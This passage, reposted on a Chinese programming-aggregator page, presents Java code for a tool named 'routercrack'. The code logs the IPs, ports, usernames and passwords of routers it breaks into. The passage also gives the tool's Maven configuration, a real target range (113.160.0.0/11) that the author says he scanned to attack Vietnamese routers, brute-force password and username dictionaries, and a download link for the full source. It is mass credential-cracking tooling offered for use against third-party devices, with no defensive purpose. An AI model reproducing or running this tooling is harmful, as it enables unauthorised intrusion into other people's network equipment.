routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
routerOkInfoWriter.flush();
}
publicvoid close(){
activateIpsWriter.flush();
activateIpsWriter.close();
openPortInfoWriter.flush();
openPortInfoWriter.close();
basicInfoWriter.flush();
basicInfoWriter.close();
basicOkInfoWriter.flush();
basicOkInfoWriter.close();
routerOkInfoWriter.flush();
routerOkInfoWriter.close();
routerInfoWriter.flush();
routerInfoWriter.close();
}
/**
* 将IP地址 端口 用户名 密码 头信息写入文件
* @param ip
* @param port
* @param user
* @param password
* @param headInfo
*/publicvoid writeBasicOkInfo(String ip, int port, String user,
String password, String headInfo) {
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo);
basicOkInfoWriter.flush();
}
}
2.最最重要的是maven项目的pom.xml文件配置
pom.xml
<
project
xmlns
="http://maven.apache.org/POM/4.0.0"
xmlns:xsi
="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation
="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"
>
<
modelVersion
>4.0.0</modelVersion><groupId>cn.com.cisec</groupId><artifactId>routercrack</artifactId><version>0.0.1-SNAPSHOT</version><packaging>jar</packaging><name>Routercrack</name><url>http://maven.apache.org</url><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>3.8.1</version><scope>test</scope></dependency><dependency><groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.17</version></dependency><dependency><groupId>org.apache.httpcomponents</groupId><artifactId>httpclient</artifactId><version>4.3.5</version></dependency><dependency><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>2.6</version></dependency></dependencies></project>
3.里面的ips.txt是要扫描的ip地址(下面的地址是越南的ip,我用来扫描越南的路由器)
113.160.0.0/11
4.passwords.txt是密码字典，暴力破解的密码库
admin
111111
123qwe123
abc123
123456
xiaoming
12345678
iloveyou
qq123456
taobao
root
wang1234
password
12345678
qwerty
111111
monkey
123123
654321
superman
qazwsx
michael
football
dragon
5.users.txt用户名的字典
admin
administrator
6.然后是最重要的源码信息
http://pan.baidu.com/s/1eQPOk9O
原文：http://www.cnblogs.com/lr393993507/p/5251196.html
内容总结
以上是互联网集市为您收集整理的路由器扫描的Java源码全部内容，希望文章能够帮你解决路由器扫描的Java源码所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。
来源：【匿名】